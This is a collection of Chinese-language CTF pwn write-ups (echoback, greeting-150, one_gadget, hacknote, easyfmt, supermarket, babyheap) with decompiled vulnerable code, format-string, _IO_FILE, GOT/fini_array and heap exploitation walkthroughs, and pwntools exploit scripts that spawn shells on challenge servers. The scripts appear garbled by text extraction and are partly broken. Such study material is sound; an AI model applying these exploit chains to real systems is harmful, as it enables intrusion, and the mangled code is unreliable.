OTHER WRITE UP FOR ME echoback 题目来源: World of Attack & Defense
checksec 1 2 3 4 5 Arch: amd64-64-little
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall sub_B80 (_BYTE *a1) size_t nbytes; unsigned __int64 v3; 0x28 u);memset ((char *)&nbytes + 4 , 0 , 8uLL );printf ("length:" , 0LL );"%d" , &nbytes);if ( (nbytes & 0x80000000 ) != 0LL || (signed int )nbytes > 6 )7 ; 0 , (char *)&nbytes + 4 , (unsigned int )nbytes);if ( *a1 )printf ("%s say:" , a1);else printf ("anonymous say:" , (char *)&nbytes + 4 );printf ((const char *)&nbytes + 4 ); return __readfsqword(0x28 u) ^ v3;
明显的字符串漏洞,但是最多只允许输入7个字符.
思路 通过利用字符串漏洞泄漏libc基地址, elf基地址, 修改 _IO_FILE struct,然后打入stack 中的 &main ret构造rop链
泄漏libc基址 传入 %p调试到vfprintf函数堆栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 0x7ffe31470828 —▸ 0x7ffe3146e250 ◂— 'anonymous say:'
通过调试, 传入 %p打印时, 打印出0x7ffe31470830, 而 __libc_start_main+240 的地址在0x7ffe31470948, 调试不断加1进行核对地址,最终在 %19$p打印出libc_start_main + 240的地址.然后通过计算即可获取libc基址
1 2 3 4 5 6 7 8 9 10 11 '>>' , str (2 ))':' , str (7 ))'%19$p' '0x' )int (r(12 ),16 ) - 240 '__libc_start_main' ]'libc_base:' + hex (libc_base))'system' ]'/bin/sh' ).next ()
泄漏elf基址 传入 %14$p查看printf函数中堆栈分布如下
1 2 3 4 5 6 7 8 05:0028│ rdi 0x7ffc6b02ca80 ◂— 0xa7024343125 /* '%14$p\n' */
打印出0x55f4515b5d30 ◂— push r15, 而这个位置刚好在init函数的起始位置.在文件中偏移为: 0xD30 ( push r15),这就可以计算elf的偏移了.然后获取main, pop rid的地址.
1 2 3 4 5 6 7 8 9 10 '>>' , str (2 ))':' , str (7 ))'%14$p' '0x' )int (r(12 ),16 ) - 0xD30 0xC6C 0xd93 'elf_base:' + hex (elf_base))
泄漏堆栈中main ret地址 下图为printf函数中的堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> stack 100
以上0x7fffb8e18518就是我们要获取的main ret的堆栈地址, 在这里不能直接泄漏堆栈中的main ret地址,但可以通过泄漏 rbp地址来+8即可获取man ret.
1 2 3 4 5 6 7 '>>' , str (2 ))':' , str (7 ))'%12$p' '0x' )int (r(12 ),16 ) + 0x8
修改_IO_FILE将数据打入stack 目前,准备工作基本完毕, 现在就是要靠修改main ret地址来劫持程序流, 但是我们想构造payload，往main_ret处写数据，但是光一个p64(main_ret)包装就占了8个字符，而我们最多允许输入7个字符，setName，它不是白放那里的，它有着重要的作用.
它也可以接受7个字符，我们可以把main_ret存入a1中，虽然只允许7个字符，p64()有8字节，但是末尾一般都是0，由于是低位存储，也就是数据的前导0被舍弃，没有影响，除非那个数据8字节没有前导0
然后，发现，%16$p输出的就是a1的数据,于是，可以先setName(p64(addr))，然后利用%16$n来对addr处写数据然而，我们这样来直接写main_ret处的数据，还是不行，因为我们构造的payload始终长度都会大于7,于是，就需要用到一个新知识了，为了绕过7个字符的限制，利用printf漏洞先去攻击scanf内部结构，然后就可以直接利用scanf往目标处输入数据，这就需要去了解scanf的源码.
_IO_FILE struct 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ;struct _IO_FILE *_chain ;int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; #ifdef _IO_USE_OLD_IO_FILE
_IO_new_file_underflow 看看文件的读取过程**_IO_new_file_underflow** 这个函数最终调用了_IO_SYSREAD****系统调用来读取文件。在这之前，它做了一些处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 int _IO_new_file_underflow (FILE *fp) ssize_t count; if (fp->_flags & _IO_EOF_SEEN) return EOF; if (fp->_flags & _IO_NO_READS) return EOF; if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (fp->_IO_buf_base == NULL ) if (fp->_IO_save_base != NULL ) free (fp->_IO_save_base); if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) if (count <= 0 ) if (count == 0 ) else 0 ; if (count == 0 ) return EOF; if (fp->_offset != _IO_pos_BAD) return *(unsigned char *) fp->_IO_read_ptr;
利用 IO_SYSREAD系统调用，向fp->_IO_buf_base处写入读取的数据，并且长度为 fp->_IO_buf_end - fp->_IO_buf_base
要是能够修改_IO_buf_base和_IO_buf_end 那么就可以实现任意位置和想要的长度
首先需要定位到_IO_2_1_stdin_结构体在内存中的位置，然后再定位到_IO_buf_base 的位置，_IO_buf_base位于结构体中的第8个，所以，它的_IO_buf_base_addr = _IO_buf_base + 0x8 * 7 (注意结构体对齐,int占用内存8字节,所以为 0x8 * 7 而不是 0x8 * 6 + 4)
1 2 3 4 '_IO_2_1_stdin_' ]0x8 * 7 '_IO_buf_base' + hex (_IO_buf_base))
来看看_IO_buf_base的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 0x7ffb6a2b08e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffb6a2b0964
先是stdin的位置,当前位于0x7ffb6a2b08e0
然后是_IO_buf_base，它位于0x7ffb6a2b08e0 + 0x8 * 7 = 0x7ffb6a2b0918 ，它的值为0x00007ffb6a2b0963 ， 并且要知道，它的值相对_IO_2_1_stdin_的地址总是不变的，假如我们把_IO_buf_base的低一字节覆盖为0，那么他就变成了0x00007ffb6a2b0900 ，也就是0x7ffb6a2b08e0 + 0x8 * 4处，跑到了结构体内部去了，是结构体中的第5个数据处，也是_IO_write_base处，并且由于_IO_buf_end没变，那么我们可以从0x00007ffb6a2b0900处向后输入0x64-0x00 = 0x64个字符，那么就能把_IO_buf_base和_IO_buf_end都覆盖成关键地址，就能绕过7个字符的输入限制,且可以实现write anything anywhere
先来覆盖_IO_buf_base的低1字节为0
1 2 3 4 5 6 7 8 '>>' , str (1 ))'>>' , str (2 ))':' , str (7 ))'%16$hhn'
接下来，就可以覆盖结构体里的一些数据了
对于_IO_buf_base之前的数据(_IO_write_base_IO_write_ptr, _IO_write_end)，最好原样的放回，不然不知道会出现什么问题，经过调试，发现它们的值都是0x83 + _IO_2_1_stdin_addr，然后接下来，覆盖_IO_buf_base和_IO_buf_end，将它设置为堆栈中的&main ret, 然后即可实现写入数据时,就会向堆栈中写入数据,前提还需满足一些条件.
于是，payload
1 2 3 4 5 6 0x83 ) * 3 0x8 * 3 )'>>' , str (2 ))':' , p) '' )
在length:后面发送payload, 因为这个地方用到了scanf
现在，得绕过一个判断，这样调用scanf 输入数据时，才会往缓冲区写入输入的数据
1 2 if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
之前，覆盖结构体数据时，后面执行了这一步，使得 fp->_IO_read_end += count 相当于fp->_IO_read_end += len(p)
1 2 3 4 5 6 fp->_IO_read_end = fp->_IO_buf_base;
下面为输入之前的_IO_2_1_stdin_
1 2 3 4 5 6 0x7fa95326b8e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007fa95326b901 //_IO_read_ptr
而 getchar() 的作用是使fp->_IO_read_ptr + 1
由于在覆盖结构体后，scanf的后面有一个getchar，执行了一次，所以还需要调用len(p)-1次getchar()，使_IO_read_ptr == PIO_read_end
1 2 3 4 5 for i in range (0 , len (p) - 1 ):'>>' , str (2 ))':' , ',' )' ' )
调用 len(p) - 1次getchar()后, IO_2_1_stdin 如下
1 2 3 4 5 6 7 8 9 pwndbg> x /40gx &_IO_2_1_stdin_
构造rop链 然后再次输入的时候,输入的数据就会在stack中了,现在就可以构造rop链.
1 2 3 4 5 '>>' , str (2 ))':' , p) '' )
下面为输入修改后的堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> stack 50
getshell 只需使main函数ret即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 from pwn import *'amd64' , os = 'linux' , log_level='debug' )"echo_back" "./libc.so.6" "111.198.29.45" 54180 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def eb (length, text ):def exploit ():'>>' , str (2 ))':' , str (7 ))'%19$p' '0x' )int (r(12 ),16 ) - 240 '__libc_start_main' ]'libc_base:' + hex (libc_base))'system' ]'/bin/sh' ).next ()'>>' , str (2 ))':' , str (7 ))'%14$p' '0x' )int (r(12 ),16 ) - 0xD30 0xC6C 0xd93 'elf_base:' + hex (elf_base))'>>' , str (2 ))':' , str (7 ))'%12$p' '0x' )int (r(12 ),16 ) + 0x8 '_IO_2_1_stdin_' ]0x8 * 7 '_IO_buf_base' + hex (_IO_buf_base))'>>' , str (1 ))'>>' , str (2 ))':' , str (7 ))'%16$hhn' 0x83 ) * 3 0x8 * 3 )'>>' , str (2 ))':' , p) '' )for i in range (0 , len (p) - 1 ):'>>' , str (2 ))':' , ',' )' ' )'>>' , str (2 ))':' , p) '' )'>>' , str (3 ))def finish ():if __name__ == '__main__' :if LOCAL:if LIBC:"LD_PRELOAD" : libFile})else :if LIBC:
greeting-150 保护 1 2 3 4 5 Arch: i386-32-little
漏洞 字符串漏洞
源代码
1 2 3 4 5 6 7 8 9 10 char s; char v5; unsigned int v6; 0x14 u);printf ("Please tell me your name... " );if ( !getnline (&v5, 0x40 ) )return puts ("Don't ignore me ;( " );sprintf (&s, "Nice to meet you, %s :)\n" , &v5);return printf (&s); #字符串漏洞
利用 由于程序中只有一个字符串漏洞, 执行字符串漏洞后结束,这时就需要覆盖fini_array为start函数进行再次执行程序同时修改strlen的got表为system plt地址.
简单介绍一下: fini_array, 在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的，main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针
字符串漏洞设置大的值注意的地方 1 2 hh 对于整数类型，printf期待一个从char提升的int尺寸的整型参数
第一次%xc%hhn的时候，要扣掉前面摆放的address的长度。比如32位时，其前面会摆放4个地址，这个时候就是x需要减去4x4 = 16.
之后每个%xc 必需扣掉前一个写入 byte 的值总字符数才会是这个写入需要的长度。比如 第一次写入值为 90 第二个写入 120 此时应为%30c% offset$hhn
当某一次写入的值比前面写入的要小的时候，就需要整数overflow回来。比如：需要写入的一个字节，用的是hhn的时候，前面那次写入的是0x80，这次写入的是0x50，这时候就用0x50可以加上0x100（256）=0x150 （这时候因为是hhn，在截取的时候就是截取的0x50）， 再减去0x80 = 0xD0（208），也就是填入%208c%offset$hhn即可
单字节覆盖常用脚本(ctf-wiki):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def fmt (prev, word, index ): if prev < word: "%" + str (result) + "c" elif prev == word: 0 else : 256 + word - prev "%" + str (result) + "c" "%" + str (index) + "$hhn" return fmtstrdef fmt_str (offset, size, addr, target ):"" for i in range (4 ):if size == 4 :else :len (payload) for i in range (4 ):8 ) & 0xff , offset + i)8 ) & 0xff return payload''' 其中每个参数的含义基本如下 offset表示要覆盖的地址最初的偏移 size表示机器字长 addr表示将要覆盖的地址。 target表示我们要覆盖为的目的变量值。 '''
通过上面的介绍, 根据以上脚本写字符串漏洞原理写exp
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *'i386' , os = 'linux' , log_level='debug' )"greeting-150" "" "111.198.29.45" 46553 0 0 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def exploit ():'... ' )'strlen' ]0x08049934 0x080484F0 0x08048490 12 len ('Nice to meet you, ' )'strlen_got: ' + hex (strlen_got))'fini_array: ' + hex (fini_array))'AA' 2 )2 )'%' + str (0x0804 - 0x12 - prelen) + 'c%' + str (offset) + '$hn' '%' + str (offset + 1 ) + '$hn' '%' + str (0x8490 - 0x804 ) + 'c%' + str (offset + 2 ) + '$hn' '%' + str (0x84F0 - 0x8490 ) + 'c%' + str (offset + 3 ) + '$hn' def finish ():if __name__ == '__main__' :if LOCAL:if LIBC:"LD_PRELOAD" : libFile})else :else :if LIBC:
One Gadget one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip（也就是pc）的时候，用one-gadget来做RCE（远程代码执行）非常方便，比如有时候我们能够做一个任意函数执行，但是做不到控制第一个参数，这样就没办法调用system("sh")，这个时候one gadget就可以搞定了
使用one_gadget工具进行获取oen_gadget
one_gadget工具安装:
github: https://github.com/david942j/one_gadget
1 2 3 sudo apt install ruby
通过ida查看伪代码
1 2 3 4 5 6 7 8 9 10 void (*v4)(void ); void (*v5)(void ); unsigned __int64 v6; 0x28 u);init (*(_QWORD *)&argc, argv, envp);printf ("Give me your one gadget:" );"%ld" , &v4);v4 ();
思路: 通过init打印出printf在libc中的地址, 然后计算libc基地址, 使用one_gadget打shell
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 from pwn import *'amd64' , os = 'linux' , log_level='debug' )"one_gadget" "./libc-2.29.so" "node3.buuoj.cn" 26163 0 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def exploit ():'0x' )int (r(12 ), 16 )'print_addr:' + hex (print_addr))'printf' ]0xe237f ,0xe2383 ,0xe2386 ,0x106ef8 ]3 ]'lib_base:' + hex (lib_base))'OG addr:' + hex (sh))':' )str (sh)def finish ():if __name__ == '__main__' :if LOCAL:if LIBC:"LD_PRELOAD" : libFile})else :if LIBC:''' pwn@Ubuntu:~/share$ one_gadget libc-2.29.so 0xe237f execve("/bin/sh", rcx, [rbp-0x70]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe2383 execve("/bin/sh", rcx, rdx) constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL 0xe2386 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL 0x106ef8 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''
HackNote 来源 World of Attack & Defense
难度 4 / 10
保护 1 2 3 4 5 Arch: i386-32-little
简单描述 相对比较简单的堆利用题目, 保护机制比较少,涉及知识点也比较少…
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 unsigned int rm () int v1; char buf; unsigned int v3; 0x14 u);printf ("Index :" );0 , &buf, 4u );if ( v1 < 0 || v1 >= dword_804A04C )puts ("Out of bound!" );0 );if ( ptr[v1] )free (*((void **)ptr[v1] + 1 ));free (ptr[v1]); puts ("Success" ); return __readgsdword(0x14 u) ^ v3;unsigned int puts_0 () int v1; char buf; unsigned int v3; 0x14 u);printf ("Index :" );0 , &buf, 4u );if ( v1 < 0 || v1 >= dword_804A04C )puts ("Out of bound!" );0 );if ( ptr[v1] )void (__cdecl **)(void *))ptr[v1])(ptr[v1]); return __readgsdword(0x14 u) ^ v3;int __cdecl addputs (int a1) return puts (*(const char **)(a1 + 4 ));
知识点 堆的基本利用
思路 使用UAF漏洞实现和在堆中调用指针函数漏洞来实现获取libc基址,获取system地址,再次使用UAF修改该指针打印调用system获得shell
利用 获取libc基址 1 2 3 4 5 6 7 8 9 10 11 12 13 ad(0x10 , 'A' )0x10 , 'B' )0 )1 )0x0804862B 0x8 , p32(dump_addr) + p32(exe.got['puts' ]))0 )4 ))'puts_addr: ' + hex (puts_addr))'puts' , puts_addr)'puts' )'system' )
getshell 通过修改函数指针为system获得shell
1 2 3 4 2 )0x8 , p32(sys_addr) + '; sh' )0 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *from LibcSearcher import LibcSearcher'debug' "hacknote" "" "111.198.29.45" 32693 0 0 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def ad (size, text ):'Your choice :' , str (1 ))'Note size :' , str (size))'Content :' , text)def rm (index ):'Your choice :' , str (2 ))':' , str (index))def dp (index ):'Your choice :' , str (3 ))':' , str (index)) def q ():'Your choice :' , str (4 ))def exploit ():0x10 , 'A' )0x10 , 'B' )0 )1 )0x0804862B 0x8 , p32(dump_addr) + p32(exe.got['puts' ]))0 )4 ))'puts_addr: ' + hex (puts_addr))'puts' , puts_addr)'puts' )'system' )2 )0x8 , p32(sys_addr) + '; sh' )0 )def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:
Easyfmt 来源 攻防世界
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) char buf; unsigned __int64 v4; 0x28 u);0LL , 2 , 0LL );stdin , 0LL , 1 , 0LL );puts ("welcome to haerbin~" );if ( (unsigned int )CheckIn() == 1 )memset (&buf, 0 , 0x100 uLL);1 , "slogan: " , 9uLL );0 , &buf, 0x100 uLL);printf (&buf, &buf, argv); puts ("bye~" );exit (0 );
思路 这是一个有概率的题,需要多打几次, 概率绕过第一个后, 通过fmt漏洞修改exit的got表实现循环利用,然后泄漏__libc_start_main获取libc基址, 获取system地址后, 然后再partial write修改printf的got为system地址
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *from LibcSearcher import LibcSearcher'amd64' , os = 'linux' , log_level='debug' )"easyfmt" "" "111.198.29.45" 53453 0 0 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.send(x)lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def fmt (prev, word, index ):if prev < word:"%" + str (result) + "c" elif prev == word:0 else :256 + word - prev"%" + str (result) + "c" "%" + str (index) + "$hhn" return fmtstrdef fmt_str (offset, size, addr, target ):"" for i in range (4 ):if size == 4 :else :len (payload)for i in range (4 ):8 ) & 0xff , offset + i)8 ) & 0xff return payloaddef exploit ():'\x31' + '\x00' * 9 ':' )10 0x400750 'exit' ]0x400720 0x400982 0x400a74 '%' + str (fmt_addr & 0xFFFF ) + 'c%10$hn' + 'A' * 4 + p64(exit_got)'exit_got: ' + hex (exit_got))':' )'%' + str (44 ) +'$p' '0x' )int (r(12 ), 16 ) - 240 '__libc_start_main' , __libc_start_main)'__libc_start_main' )'system' )'str_bin_sh' )'printf' )'libc_base: ' + hex (libc_base))'printf_got: ' + hex (exe.got['printf' ]))'system_addr: ' + hex (sys_addr))'printf_addr: ' + hex (printf_addr))hex (0x550000 >> 8 * 2 ))0xFF0000 ) >> (8 * 2 )'sys_5: ' + hex (rb3))'%' + str (rb3) + 'c%13$hhn' '%' + str ((sys_addr & 0xFFFF ) - rb3) + 'c%14$hn' 'printf' ] + 2 ) 'printf' ] + 0 ) '/bin/sh' )def finish ():if __name__ == '__main__' :if LOCAL:if LIB:"LD_PRELOAD" : libFile})else :else :if LIB:
SuperMaket 漏洞点: 添加和删除基本上没有十分严密, 找不到漏洞, 输入的长度且必须是n - 1, 不存在 off by one.然而在修改description的时候,当新的大小与以前大小不同时, 就会realloc重新分配内存.但没有跟新list数组中的指针.若重新分配大的话, 就造成use after free.
简要说一下 realloc函数吧:
extern void *realloc(void *mem_address, unsigned int newsize);
realloc会根据newsize大小来判断怎样分配新的内存, 并却将原来的数据拷贝到新分配的内存中.
realloc包含了 malloc, free, memcpy三个函数功能, 若新的大小过大的时候, 且在相邻chunk没有空间可分配, 这时候,系统就会去找一个空间够的地方来开辟内存, 这时候就可能涉及到这三个函数的功能. malloc新的内存, mcmcpy拷贝数据, free掉以前的chunk.
漏洞代码: 1 2 3 4 5 6 7 for ( size = 0 ; size <= 0 || size > 256 ; size = inputNum () )printf ("descrip_size:" );if ( *((_DWORD *)(&list_0)[v1] + 5 ) != size )realloc (*((void **)(&list_0)[v1] + 6 ), size); printf ("description:" );return inputName (*((_DWORD *)(&list_0)[v1] + 6 ), *((_DWORD *)(&list_0)[v1] + 5 ));
整体思路: 获得libc的基地址: 利用这个漏洞来修改free函数的got表为puts, 传入参数为atoi函数的got地址.调用free时, 获得atoi在libc中的地址.计算偏移即可
调用system. 获得libc地址之后, 也利用这个漏洞修改atoi的got表地址为system地址.然后在进行选择的时候直接传入参数 ‘/bin/sh’即可获得shell.当然还可以继续修改free的got地址为system.但需要得到’/bin/sh’在libc中的地址, 且在chunk头的decription地址中写入该地址.调用free也行, 我试过了, system虽然能调用成功, 就是这个’/bin/sh’在libc中的偏移有问题. 结果 就是sh :cmd not found
以上就是整体思路:
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 from pwn import *"supermarket" "libc.so.6" "111.198.29.45" 57966 0 1 lambda x : io.recv(x)lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def ad (index, size, text ):'>> ' , str (1 ))':' , str (index))':' , str (0 ))':' , str (size))':' , text)def rm (index ):'>> ' , str (2 ))':' , str (index))def dp ():'>> ' , str (3 ))def md (index, size, text ):'>> ' , str (5 ))':' , str (index))':' , str (size))':' , text)def q ():'>> ' , str (6 ))def exploit ():0 , 0x80 , '0' * (0x80 - 1 ))1 , 0x10 , '1' * (0x10 - 1 ))0 , 0x90 , '' ) 2 , 0x10 , '2' * (0x10 - 1 ))0x32 ) + p32(0 ) * 4 0x10 ) + p32(exe.got['free' ])'\x19' 0 , 0x80 , p) 'puts' ])2 , 0x10 , p2) 0x32 ) + p32(0 ) * 4 0x10 ) + p32(exe.got['atoi' ])'\x19' 0 , 0x80 , p3)2 ) 4 ))'libc_base: ' + hex (atoi_addr))'atoi' ]'libc_base: ' + hex (libc_base))'system' ]0x0015902b 3 , 0x10 , '3' * (0x10 - 1 ))0x32 ) + p32(0 ) * 4 0x10 ) + p32(0x0 )0x19 ) + p32(0x0 ) * 5 0x21 ) 0x33 ) 0x0 ) * 4 0x10 )'atoi' ]) + '\x19' 0 , 0x80 , p4)3 , 0x10 , p5) '>> ' , '/bin/sh' )def finish ():if __name__ == '__main__' :if LOCAL:if LIBC:'/lib/i386-linux-gnu/libc.so.6' )else :if LIBC:
Babyheap 来源 World of Attack & Defense
难度 6 / 10
保护 1 2 3 4 5 Arch: amd64-64-little
简单描述 只有4个功能, 添加,删除,查看,退出.保护全开,只有一个漏洞可以利用.
vul 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 __fastcall read_input (__int64 a1, int a2) char buf; int i; unsigned __int64 v5; 0x28 u);for ( i = 0 ; i < a2; ++i )if ( (signed int )read(0 , &buf, 1uLL ) < 0 )puts ("Read error!\n" );if ( buf == 10 )break ;0 ; return __readfsqword(0x28 u) ^ v5;
off by null 漏洞,还有一个是在free时,unsigned int与signed int的索引值,但利用不了…
知识点 house of einherjar, off by one, unlink check, fastbin attack, realloc_hook to banance stack, one_gadget
思路 通过house of einherjar实现堆合并,然后通过unsorted bin特性分割堆块,打印获取main_arena + 88地址,通过fastbin attack 打入 malloc_hook - 0x23处,通过 malloc_hook来实现Onegaget,realloc_hook调整execve第二个参数
利用 准备 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *'amd64' , os = 'linux' , log_level='debug' )"timu" "./libc.so.6" '/lib/x86_64-linux-gnu/libc.so.6' "0.0.0.0" 0 1 1 lambda x : io.recv(x)lambda : io.recvall()lambda : io.recvline(keepends = True )lambda x : io.recvuntil(x, drop = True )lambda x : io.sendline(x)lambda x, y : io.sendafter(x, y)lambda x, y : io.sendlineafter(x, y)lambda : io.interactive()lambda : io.close()lambda x : p32(x).decode() lambda x : p64(x).decode()lambda x : log.info(x)lambda : gdb.attach(io)def ad (size, data ):'Your choice :' , str (1 ))'Size:' , str (size))'Data:' , data)def rm (idx ):'Your choice :' , str (2 ))'Index:' , str (idx))def dp ():'Your choice :' , str (3 ))
构造堆快布局 1 2 3 4 5 ad(0x80 , 'A' * 0x80 ) 0x80 , 'B' * 0x80 ) 0x68 , 'C' * 0x68 ) 0xF0 , 'E\n' ) 0x68 , 'F\n' )
使用house of einherjar 来合并 chunk 1 1 2 3 4 5 6 7 8 9 10 11 rm(2 ) 'C' * 0x60 0x190 ) 0x68 , p) 2 ) 0 )3 )
泄漏 main_arena 和libc基址 通过分割unsorted bin实现main_arena信息转移,通过开辟0x80内存后, main_arena信息会跑到chunk 1中, 由于我们还对chunk 1没有释放, 直接打印即可获取main_arena + 88 处地址
1 2 3 4 5 6 7 0x80 , 'A' * 16 + '\n' ) '\x7f' )[-5 :] + '\x7f\x00\x00' ) - 0x58 0x3c4b20 'main_arena ' + hex (main_arena))'libc_base ' + hex (libc_base))
